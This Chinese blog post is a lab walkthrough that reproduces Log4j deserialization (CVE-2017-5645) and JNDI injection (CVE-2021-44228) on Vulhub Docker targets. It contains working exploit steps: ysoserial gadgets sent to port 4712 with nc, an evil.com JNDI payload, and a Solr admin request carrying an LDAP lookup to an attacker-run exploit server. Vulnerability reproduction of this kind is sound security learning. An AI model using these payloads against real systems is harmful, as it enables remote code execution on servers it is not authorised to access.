当前位置: 首页 > news >正文

Vulhub:Log4j[漏洞复现]

CVE-2017-5645(Log4j反序列化)

启动靶场环境

docker-compose up -d

靶机IPV4地址

ifconfig | grep eth0 -A 5

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ifconfig | grep eth0 -A 5
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.138  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::d3f0:b854:e38c:9f58  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:ae:ed:8a  txqueuelen 1000  (Ethernet)
        RX packets 35392  bytes 37203041 (35.4 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0

阅读vulhub给出的文档

cat README.md

# Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

## 漏洞环境

执行如下命令启动漏洞环境

```
docker compose up -d
```

环境启动后,将在4712端口开启一个TCPServer。

说一下,除了使用vulhub的docker镜像搭建环境外,我们下载了log4j的jar文件后可以直接在命令行启动这个TCPServer:`java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer`,无需使用vulhub和编写代码。

## 漏洞复现

我们使用ysoserial生成payload,然后直接发送给`your-ip:4712`端口即可。

```
java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
```

然后执行`docker compose exec log4j bash`进入容器,可见 /tmp/success 已成功创建:

![](1.png)

执行[反弹shell的命令](http://www.jackson-t.ca/runtime-exec-payloads.html),成功弹回shell:

![](2.png)

进入容器环境中

docker exec -it 7d1002f21338 /bin/bash

攻击机中通过urldns.jar对靶场利用链进行探测

java -jar Urldns.jar file all lfgmo7.dnslog.cn

将gadget发送到靶机

cat 1.ser | nc 192.168.1.138 4712

dnslog收到回显,可见CC31攻击链适用于靶机

通过ysosersial查看可用payload

java -jar ysoserial.jar

这里直接选用CommonsCollections7进行反序列化测试

我尝试在靶机/tmp目录下新建一个0dayhp文件,生成Gadget

java -jar ysoserial.jar CommonsCollections7 "touch /tmp/0dayhp" > 1.ser

在靶机中进入/tmp目录下

root@7d1002f21338:/# cd /tmp
root@7d1002f21338:/tmp# ls
hsperfdata_root

将Gadget发送到靶机4712端口

cat 1.ser | nc 192.168.1.138 4712

此时回到靶机/tmp目录下,可见0dayhp文件已被成功创建

root@7d1002f21338:/# cd /tmp
root@7d1002f21338:/tmp# ls
hsperfdata_root
root@7d1002f21338:/tmp# ls
0dayhp  hsperfdata_root


CVE-2021-44228(Log4j2_JNDI注入)

启动靶场环境

docker-compose up -d

阅读vulhub给出的漏洞文档

cat README.zh-cn.md

# Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

[中文版本(Chinese version)](README.zh-cn.md)

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入,执行任意代码。

参考链接:

- https://logging.apache.org/log4j/2.x/security.html
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://xz.aliyun.com/t/10649

## 漏洞环境

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:

```
docker compose up -d
```

服务启动后,访问`http://your-ip:8983`即可查看到Apache Solr的后台页面。

## 漏洞复现

`${jndi:dns://${sys:java.version}.example.com}`是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:

```
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close


```

我们可以在DNS日志平台收到相关日志,显示出当前Java版本:

![](1.png)

实际利用JNDI注入漏洞,可以使用[JNDInjector](https://github.com/rebeyond/JNDInjector)。利用完毕后,可见`touch /tmp/success`已经成功被执行:

![](2.png)

试用浏览器访问靶机8983端口

点击左侧Logging由右侧展示信息可知,靶机使用了Log4j2组件

理论上来说,一切会被记入Log4j2日志组件的行为都可以触发漏洞,所以我尝试寻找接口

点击左侧的Core Admin,尝试对Core进行重命名

使用Yakit抓取请求包

GET /solr/admin/cores?_=1733816918585&action=RENAME&core=demo&other=abc&wt=json HTTP/1.1

Host: 192.168.1.138:8983

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

Accept: application/json, text/plain, */*

X-Requested-With: XMLHttpRequest

Referer: http://192.168.1.138:8983/solr/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

通过JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启用监听以便提供Payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'touch /tmp/0dayhp' -A 192.168.1.138

该Payload尝试在靶机/tmp目录下新建一个0dayhp文件

JNDI注入完整Payload:${jndi:ldap://192.168.1.138:1389/x2h2y7}

尝试对/solr/admin/cores接口下的参数进行JNDI注入

GET /solr/admin/cores?_=1733816918585&action=${jndi:ldap://192.168.1.138:1389/x2h2y7}&core=demo&other=abc&wt=json HTTP/1.1

Host: 192.168.1.138:8983

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

Accept: application/json, text/plain, */*

X-Requested-With: XMLHttpRequest

Referer: http://192.168.1.138:8983/solr/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

进入靶机终端中

docker exec -it 2e7af438ec81 /bin/bash

进入靶机/tmp目录下

root@2e7af438ec81:/# cd /tmp
root@2e7af438ec81:/tmp# ls
hsperfdata_root  jetty-0_0_0_0-8983-webapp-_solr-any-5641252888151320351  start_7074523919817787729.properties

在Yakit中直接进行发包获得响应

HTTP/1.1 400 Bad Request

Content-Security-Policy: default-src 'none'; base-uri 'none'; connect-src 'self'; form-action 'self'; font-src 'self'; frame-ancestors 'none'; img-src 'self'; media-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self'; worker-src 'self';

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Content-Type: application/json;charset=utf-8

Content-Length: 331

{

  "responseHeader": {

    "status": 400,

    "QTime": 0

  },

  "error": {

    "metadata": [

      "error-class",

      "org.apache.solr.common.SolrException",

      "root-error-class",

      "org.apache.solr.common.SolrException"

    ],

    "msg": "Unsupported operation: ldap://192.168.1.138:1389/x2h2y7",

    "code": 400

  }

}

再次查看靶机/tmp目录下文件

root@2e7af438ec81:/tmp# ls
0dayhp           jetty-0_0_0_0-8983-webapp-_solr-any-5641252888151320351
hsperfdata_root  start_7074523919817787729.properties

由输出可见,/tmp目录下已经多出了一个0dayhp文件漏洞利用成功

相关文章:

Vulhub:Log4j[漏洞复现]

CVE-2017-5645(Log4j反序列化) 启动靶场环境 docker-compose up -d 靶机IPV4地址 ifconfig | grep eth0 -A 5 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# ifconfig | grep eth0 -A 5 eth0: flags4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 in…...

面向预测性维护的TinyML技术栈全面综述

论文标题&#xff1a;A Holistic Review of the TinyML Stack for Predictive Maintenance&#xff08;面向预测性维护的TinyML技术栈全面综述&#xff09; 作者信息&#xff1a;Emil Njor, Mohammad Amin Hasanpour, Jan Madsen, Xenofon Fafoutis&#xff0c;均来自丹麦技术…...

沈阳理工大学《2024年811自动控制原理真题》 (完整版)

本文内容&#xff0c;全部选自自动化考研联盟的&#xff1a;《沈阳理工大学811自控考研资料》的真题篇。后续会持续更新更多学校&#xff0c;更多年份的真题&#xff0c;记得关注哦~ 目录 2024年真题 Part1&#xff1a;2024年完整版真题 2024年真题...

用前端html如何实现2024烟花效果

用HTML、CSS和JavaScript编写的网页&#xff0c;主要用于展示“2024新年快乐&#xff01;”的文字形式烟花效果。下面是对代码主要部分的分析&#xff1a; HTML结构 包含三个<canvas>元素&#xff0c;用于绘制动画。引入百度统计的脚本。 CSS样式 设置body的背景为黑…...

Redis应用-在用户数据里的应用

1.社区电商的业务闭环 接下来介绍的社区电商是以Redis作为主体技术、以MySQL和RocketMQ作为辅助技术实现的。 (1)社区电商运作模式 社区电商的关键点在于社区,而电商则是辅助性质(次要地位,流量变现)。社区可以分成很多种社区,比如美食社区、美妆社区、影评社区、妈妈社区…...

C++ 中面向对象编程如实现数据隐藏

在C中&#xff0c;面向对象编程&#xff08;OOP&#xff09;通过封装&#xff08;Encapsulation&#xff09;来实现数据隐藏。封装是OOP的一个核心概念&#xff0c;它允许将对象的属性和行为&#xff08;即数据和方法&#xff09;组合在一起&#xff0c;并对外隐藏对象的内部实…...

JavaEE 【知识改变命运】04 多线程(3)

文章目录 多线程带来的风险-线程安全线程不安全的举例分析产出线程安全的原因&#xff1a;1.线程是抢占式的2. 多线程修改同一个变量&#xff08;程序的要求&#xff09;3. 原子性4. 内存可见性5. 指令重排序 总结线程安全问题产生的原因解决线程安全问题1. synchronized关键字…...

gz中生成模型

生成模型 通过服务调用生成 还记得parameter_bridge 吗&#xff1f; 我们在生成桥接的时候调用了这个cpp文件。 一个 parameter_bridge 实例用于消息传递&#xff08;传感器数据&#xff09;。之前的例子 另一个 parameter_bridge 实例用于服务桥接&#xff08;动态生成模型…...

前端(Axios和Promis)

Promise 语法 <script>// 创建promise对象// 此函数需要再传入两个参数,都是函数类型let pnew Promise((resolve,reject)>{if(3>2){resolve({name:"李思蕾",age:23,地址:"河南省"});}else{reject("error");}});console.log(p);p.th…...

AI Agent:重塑业务流程自动化的未来力量(2/30)

《AI Agent&#xff1a;重塑业务流程自动化的未来力量》 摘要&#xff1a;整体思路是先介绍 AI Agent 的基本情况&#xff0c;再深入阐述其实现业务流程自动化的方法和在不同领域的应用&#xff0c;接着分析其价值和面临的挑战&#xff0c;最后得出结论&#xff0c;为读者全面…...

前端页面导出word

html-docx-js bug: vite使用html-docx.js会报错&#xff0c;点击下载上方文件替换即可 正文 npm install html-docx-js -S npm install file-saver -S<template><div id"managerReport">word内容......</div> </template><script>&l…...

【考前预习】1.计算机网络概述

往期推荐 子网掩码、网络地址、广播地址、子网划分及计算-CSDN博客 一文搞懂大数据流式计算引擎Flink【万字详解&#xff0c;史上最全】-CSDN博客 浅学React和JSX-CSDN博客 浅谈云原生--微服务、CICD、Serverless、服务网格_云原生 serverless-CSDN博客 浅谈维度建模、数据分析…...

ubuntu20.04复现 Leg-KILO

这里写目录标题 opencv版本问题下载3.2.0源代码进入解压后的目录创建构建目录运行 CMake 配置 配置时指定一个独立的安装目录&#xff0c;例如 /opt/opencv-3.2&#xff1a;出错&#xff1a; 使用多线程编译错误1&#xff1a; stdlib.h: 没有那个文件或目录错误2&#xff1a;er…...

Ensembl数据库下载参考基因组(常见模式植物)bioinfomatics 工具37

拟南芥参考基因组_拟南芥数据库-CSDN博客 1 Ensembl数据库网址 http://plants.ensembl.org/index.html #官网 如拟南芥等 那么问题来了&#xff0c;基因组fa文件和gff文件在哪里&#xff1f; 2 参考案例 拟南芥基因组fa在这里 注释gff文件在这里...

简单介绍web开发和HTML CSS_web网站开发流程

一、Web 开发&#xff1a;探索互联网世界的基石 1.1 什么是 Web 开发 Web 开发&#xff0c;简单来说&#xff0c;就是构建能够通过浏览器访问的网站的过程。Web 代表着全球广域网&#xff0c;也就是我们熟知的万维网&#xff08;www&#xff09;&#xff0c;它连接着世界各地的…...

Docker 中使用 PHP 通过 Canal 同步 Mysql 数据到 ElasticSearch

一、Mysql 的安装和配置 1.使用 docker 安装 mysql&#xff0c;并且映射端口和 root 账号的密码 # 获取镜像 docker pull mysql:8.0.40-debian# 查看镜像是否下载成功 docker images# 运行msyql镜像 docker run -d -p 3388:3306 --name super-mysql -e MYSQL_ROOT_PASSWORD12…...

数据结构之五:排序

void*类型的实现&#xff1a;排序&#xff08;void*类型&#xff09;-CSDN博客 一、插入排序 1、直接插入排序 思想&#xff1a;把待排序的数据逐个插入到一个已经排好序的有序序列中&#xff0c;直到所有的记录插入完为止&#xff0c;得到一个新的有序序列 。 单趟&#x…...

科研绘图系列:R语言绘制热图和散点图以及箱线图(pheatmap, scatterplot boxplot)

禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍加载R包数据下载图1图2图3系统信息参考介绍 R语言绘制热图和散点图以及箱线图(pheatmap, scatterplot & boxplot) 加载R包 library(magrittr) library(dplyr) library(ve…...

基于 webRTC Vue 的局域网 文件传输工具

文件传输工具&#xff0c;匿名加密&#xff0c;只需访问网页&#xff0c;即可连接到其他设备&#xff0c;基于 webRTC 和 Vue.js coturn TURN 服务器 docker pull coturn/coturn docker run -d --networkhost \-v $(pwd)/my.conf:/etc/coturn/turnserver.conf \coturn/coturn…...

LeetCode 718. 最长重复子数组 java题解

https://leetcode.cn/problems/maximum-length-of-repeated-subarray/description/ 动态规划 class Solution {public int findLength(int[] nums1, int[] nums2) {int len1nums1.length,len2nums2.length;int[][] dpnew int[len11][len21];dp[0][0]0;//没有意义&#xff0c;…...

生成xcframework

打包 XCFramework 的方法 XCFramework 是苹果推出的一种多平台二进制分发格式&#xff0c;可以包含多个架构和平台的代码。打包 XCFramework 通常用于分发库或框架。 使用 Xcode 命令行工具打包 通过 xcodebuild 命令可以打包 XCFramework。确保项目已经配置好需要支持的平台…...

SciencePlots——绘制论文中的图片

文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了&#xff1a;一行…...

基于ASP.NET+ SQL Server实现(Web)医院信息管理系统

医院信息管理系统 1. 课程设计内容 在 visual studio 2017 平台上&#xff0c;开发一个“医院信息管理系统”Web 程序。 2. 课程设计目的 综合运用 c#.net 知识&#xff0c;在 vs 2017 平台上&#xff0c;进行 ASP.NET 应用程序和简易网站的开发&#xff1b;初步熟悉开发一…...

条件运算符

C中的三目运算符&#xff08;也称条件运算符&#xff0c;英文&#xff1a;ternary operator&#xff09;是一种简洁的条件选择语句&#xff0c;语法如下&#xff1a; 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true&#xff0c;则整个表达式的结果为“表达式1”…...

spring:实例工厂方法获取bean

spring处理使用静态工厂方法获取bean实例&#xff0c;也可以通过实例工厂方法获取bean实例。 实例工厂方法步骤如下&#xff1a; 定义实例工厂类&#xff08;Java代码&#xff09;&#xff0c;定义实例工厂&#xff08;xml&#xff09;&#xff0c;定义调用实例工厂&#xff…...

Reasoning over Uncertain Text by Generative Large Language Models

https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829 1. 概述 文本中的不确定性在许多语境中传达,从日常对话到特定领域的文档(例如医学文档)(Heritage 2013;Landmark、Gulbrandsen 和 Svenevei…...

SQL慢可能是触发了ring buffer

简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...

CVPR2025重磅突破:AnomalyAny框架实现单样本生成逼真异常数据,破解视觉检测瓶颈!

本文介绍了一种名为AnomalyAny的创新框架&#xff0c;该方法利用Stable Diffusion的强大生成能力&#xff0c;仅需单个正常样本和文本描述&#xff0c;即可生成逼真且多样化的异常样本&#xff0c;有效解决了视觉异常检测中异常样本稀缺的难题&#xff0c;为工业质检、医疗影像…...

软件工程 期末复习

瀑布模型&#xff1a;计划 螺旋模型&#xff1a;风险低 原型模型: 用户反馈 喷泉模型:代码复用 高内聚 低耦合&#xff1a;模块内部功能紧密 模块之间依赖程度小 高内聚&#xff1a;指的是一个模块内部的功能应该紧密相关。换句话说&#xff0c;一个模块应当只实现单一的功能…...

pgsql:还原数据库后出现重复序列导致“more than one owned sequence found“报错问题的解决

问题&#xff1a; pgsql数据库通过备份数据库文件进行还原时&#xff0c;如果表中有自增序列&#xff0c;还原后可能会出现重复的序列&#xff0c;此时若向表中插入新行时会出现“more than one owned sequence found”的报错提示。 点击菜单“其它”-》“序列”&#xff0c;…...